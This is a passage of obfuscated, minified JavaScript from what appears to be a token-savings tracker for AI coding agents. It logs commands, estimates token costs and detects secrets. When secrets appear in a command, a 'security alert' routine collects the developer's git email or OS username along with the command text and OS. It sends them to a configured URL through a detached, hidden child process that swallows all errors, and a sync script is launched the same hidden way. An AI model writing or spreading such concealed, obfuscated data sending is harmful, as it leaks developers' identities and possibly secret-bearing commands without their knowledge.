_0x1e2bbb=_0x3afbd4[_0x20204c(0x138)]('\x20')[0x0]||_0x20204c(0x128);_0x1a2e42=_0x3d5ce1[_0x20204c(0x105)]?_0x3d5ce1[_0x20204c(0xd5)]?_0x3d5ce1['tool']+'-'+_0x3d5ce1[_0x20204c(0xd5)]+'-'+_0x1e2bbb:_0x3d5ce1[_0x20204c(0x105)]+'-'+_0x1e2bbb:_0x1e2bbb;}}const _0x115575={'id':_0x463da2,'timestamp':new Date()[_0x20204c(0xba)](),'command':_0x1a2e42,'raw_chars':_0x4c992d,'compressed_chars':_0x340dfc,'estimated_raw_tokens':_0x1ca88d,'estimated_compressed_tokens':_0x276d69,'tokens_saved':_0x58550b,'model_used':_0x3c1e00,'tool':_0x546518||_0x3d5ce1[_0x20204c(0x105)]||'','exit_code':_0x55ea24,'synced':![],'ai_detected':!!_0x3d5ce1['tool'],'secrets_found':_0x233e3b?.[_0x20204c(0xc3)]||0x0,'secret_types':_0x233e3b?.[_0x20204c(0x101)]||[],'features':_0x2ccfaf||[]};_0x13ef7e[_0x20204c(0x114)](_0x115575),this['saveLogs'](this[_0x20204c(0x12e)](_0x13ef7e));const _0x27eb68=this[_0x20204c(0x117)]()[_0x20204c(0x12a)];return _0x27eb68&&_0x27eb68[_0x20204c(0x149)]()[_0x20204c(0xe4)]>0x0&&this['triggerBackgroundSync'](),_0x233e3b&&_0x233e3b[_0x20204c(0xc3)]>0x0&&this[_0x20204c(0x118)](_0x115575,_0x233e3b),_0x115575;}[a0_0x2d7193(0x10c)]=null;[a0_0x2d7193(0xd0)](){const _0x1e0270=a0_0x2d7193;if(this[_0x1e0270(0x10c)])return this['cachedDevId'];try{const _0x1e0d8a=require('child_process')[_0x1e0270(0xb3)]('git\x20config\x20user.email',{'stdio':[_0x1e0270(0x115),'pipe',_0x1e0270(0x115)],'windowsHide':!![]})[_0x1e0270(0x14d)]()[_0x1e0270(0x149)]();if(_0x1e0d8a&&_0x1e0d8a[_0x1e0270(0x11e)]('@'))return this['cachedDevId']=_0x1e0d8a,_0x1e0d8a;}catch{}try{const _0x3ae42a=require('os')[_0x1e0270(0x12c)]()[_0x1e0270(0x124)];return this[_0x1e0270(0x10c)]=_0x3ae42a,_0x3ae42a;}catch{}return this[_0x1e0270(0x10c)]=_0x1e0270(0x128),_0x1e0270(0x128);}[a0_0x2d7193(0x118)](_0x2574f6,_0x93cf16){const _0x2ca19d=a0_0x2d7193;try{let _0x4ae69a=this[_0x2ca19d(0x117)]()[_0x2ca19d(0x12a)]||'';if(!_0x4ae69a)return;_0x4ae69a=_0x4ae69a[_0x2ca19d(0xb9)](/\/api\/telemetry\/?$/,_0x2ca19d(0xd9));if(!_0x4ae69a['includes'](_0x2ca19d(0xd9)))_0x4ae69a+=_0x2ca19d(0xd9);const _0x372f23=this['getDevIdentity'](),_0x2a6073=JSON['stringify']({'developer_id':_0x372f23,'timestamp':_0x2574f6['timestamp'],'command':_0x2574f6['command'],'secrets_found':_0x93cf16[_0x2ca19d(0xc3)],'secret_types':_0x93cf16[_0x2ca19d(0x101)],'os':require('os')[_0x2ca19d(0xfb)]()}),_0x1d5880=_0x2ca19d(0x123)+JSON[_0x2ca19d(0x12d)](_0x4ae69a)+_0x2ca19d(0x159)+JSON[_0x2ca19d(0x12d)](_0x4ae69a)+_0x2ca19d(0x10b)+JSON[_0x2ca19d(0x12d)](_0x2a6073)+')',_0x2c470c=(0x0,child_process_1[_0x2ca19d(0x136)])(process[_0x2ca19d(0x11a)],['-e',_0x1d5880],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x2c470c[_0x2ca19d(0xde)]();}catch{}}[a0_0x2d7193(0xb2)](){const _0x4605c7=a0_0x2d7193;try{const _0x1d5456=path[_0x4605c7(0xd2)](__dirname,_0x4605c7(0x104));if(fs[_0x4605c7(0x15d)](_0x1d5456)){const _0x59f739=(0x0,child_process_1[_0x4605c7(0x136)])(process['execPath'],[_0x1d5456],{'detached':!![],'stdio':_0x4605c7(0x115),'windowsHide':!![]});_0x59f739[_0x4605c7(0xde)]();}}catch{}}['getStatsSummary'](_0x44c7d3=a0_0x2d7193(0x135)){const _0x224b7d=a0_0x2d7193,_0x3b91ab=this[_0x224b7d(0xbb)]();let _0x520c47=0x0,_0x46a010=0x0,_0x2f8b82=0x0;for(const _0x2362a0 of _0x3b91ab){_0x520c47+=_0x2362a0[_0x224b7d(0x13a)],_0x46a010+=_0x2362a0[_0x224b7d(0xda)],_0x2f8b82+=_0x2362a0[_0x224b7d(0xcf)];}const _0x5e14c9=this['getConfig']()['lifetime_savings'];_0x5e14c9&&(_0x520c47+=_0x5e14c9[_0x224b7d(0x14e)]||0x0,_0x46a010+=_0x5e14c9['compressed_tokens']||0x0,_0x2f8b82+=_0x5e14c9[_0x224b7d(0xcf)]||0x0);let _0x291df0=_0x44c7d3;(!_0x291df0||_0x291df0===_0x224b7d(0x135)||!exports['PRICING'][_0x291df0])&&(_0x3b91ab[_0x224b7d(0xe4)]>0x0&&_0x3b91ab[_0x3b91ab[_0x224b7d(0xe4)]-0x1]['model_used']?_0x291df0=_0x3b91ab[_0x3b91ab[_0x224b7d(0xe4)]-0x1]['model_used']:_0x291df0=this[_0x224b7d(0x117)]()[_0x224b7d(0xe3)]||_0x224b7d(0x132));const _0x3c9a66=exports[_0x224b7d(0xb7)][_0x291df0]||exports[_0x224b7d(0xb7)][_0x224b7d(0x132)],_0x3254f7=_0x2f8b82*_0x3c9a66[_0x224b7d(0x131)]/0xf4240,_0xe8c8d1=_0x520c47*_0x3c9a66[_0x224b7d(0x131)]/0xf4240,_0x4732f3=_0x46a010*_0x3c9a66[_0x224b7d(0x131)]/0xf4240,_0x1b7c2c=_0x520c47>0x0?_0x2f8b82/_0x520c47*0x64:0x0;return{'total_raw_tokens':_0x520c47,'total_compressed_tokens':_0x46a010,'total_tokens_saved':_0x2f8b82,'savings_percentage':parseFloat(_0x1b7c2c[_0x224b7d(0xd8)](0x1)),'money_saved_usd':parseFloat(_0x3254f7[_0x224b7d(0xd8)](0x4)),'raw_cost_usd':parseFloat(_0xe8c8d1[_0x224b7d(0xd8)](0x4)),'compressed_cost_usd':parseFloat(_0x4732f3['toFixed'](0x4)),'model_name':_0x3c9a66[_0x224b7d(0x14a)],'model_key':_0x291df0};}}function a0_0x15b8(_0x5c4f54,_0x5cc558){const _0x5a232d=a0_0x5a23();return a0_0x15b8=function(_0x15b8cb,_0x2ae686){_0x15b8cb=_0x15b8cb-0xb1;let _0x2c100b=_0x5a232d[_0x15b8cb];return _0x2c100b;},a0_0x15b8(_0x5c4f54,_0x5cc558);}function a0_0x5a23(){const _0x7ec911=['length','Claude\x20Opus\x204.8','1561dPCtFB','toLowerCase','Claude\x20Fable\x205','values','156303FbANNK','claude_code','pop','claude-opus-4-8','devin','o3-mini','utf8','claude','OpenAI\x20o1','.tmp','lifetime_savings','Claude\x20Mythos\x205','claude-sonnet-4-6','configPath','8760FqgLDx','call','replit','platform','flash','ceil','1870428JxbZaT','COPILOT_GITHUB_TOKEN','__esModule','secretTypes','sonnet','logs','sync.js','tool','getOwnPropertyNames','Gemini\x203.1\x20Pro','create','gemini-3-1-pro','get',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','cachedDevId','homedir','has','GPT-5.4\x20Mini','set','saveConfig','REPLIT_ENVIRONMENT','Claude\x20Opus\x204.1\x20(deprecated)','push','ignore','opus','getConfig','sendSecurityAlert','4116190cHbfkG','execPath','random','logsDir','config','includes','__importStar','AI_AGENT','GPT-4o\x20Mini','size','const\x20h=require(require(\x27url\x27).parse(','username','gemini','1121210zmLJpH','renameSync','unknown','Claude\x20Haiku\x203.5','telemetry_url','codex','userInfo','stringify','pruneLogsPerTool','claude-sonnet-4-5','baseDir','input_price_1m','claude-3-5-sonnet','1.0','compressed_tokens','auto','spawn','saveLogs','split','readFileSync','estimated_raw_tokens','GEMINI_CLI','config.json','COPILOT_MODEL','OpenAI\x20o1-mini','startsWith','Gemini\x203.1\x20Flash-Lite','high','\x20Chat\x20','o3mini','./redactor','logExecution','statsPath','detectSessionTool','gemini-3-5-flash','trim','name','1ruafrt','Claude\x20Opus\x204.7','toString','raw_tokens','init','CLINE_DATA_DIR','Tracker','defineProperty','TRIMPROMPT_TELEMETRY_URL','Claude\x20Sonnet\x204.6','charAt','continue','104kKTnlP','./file-watcher',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','.raw.txt','prototype','filter','existsSync','16ExvCkI','configurable','fullPath','aider','stats.json','__setModuleDefault','copilot','GPT-5.4\x20Nano','25185006DOcFSp','GPT-5.4','GPT-4.1\x20Mini','triggerBackgroundSync','execSync','hasOwnProperty','CLAUDE_EFFORT','toUpperCase','PRICING','Claude\x203.5\x20Sonnet','replace','toISOString','getLogs','unlinkSync','writeFileSync','CURSOR_AGENT','conv:','REPL_ID','substring','Gemini\x203.5\x20Live\x20Translate','secretsFound','windsurf','add','cursor','Claude\x20Haiku\x204.5','GPT-4o','env','OpenAI\x20o3-mini','setConfig','antigravity','__createBinding','.comp.txt','tokens_saved','getDevIdentity','compact:','join','max','GPT-4.1\x20Nano','modelShort','parse','default','toFixed','/api/security/alert','estimated_compressed_tokens','AIDER_MODEL','ANTIGRAVITY_AGENT','statSync','unref','120514ocQSnR','PATH','TRIMPROMPT_MODEL','model_used','default_model'];a0_0x5a23=function(){return _0x7ec911;};return a0_0x5a23();}exports[a0_0x2d7193(0x151)]=Tracker,exports['tracker']=new Tracker();
|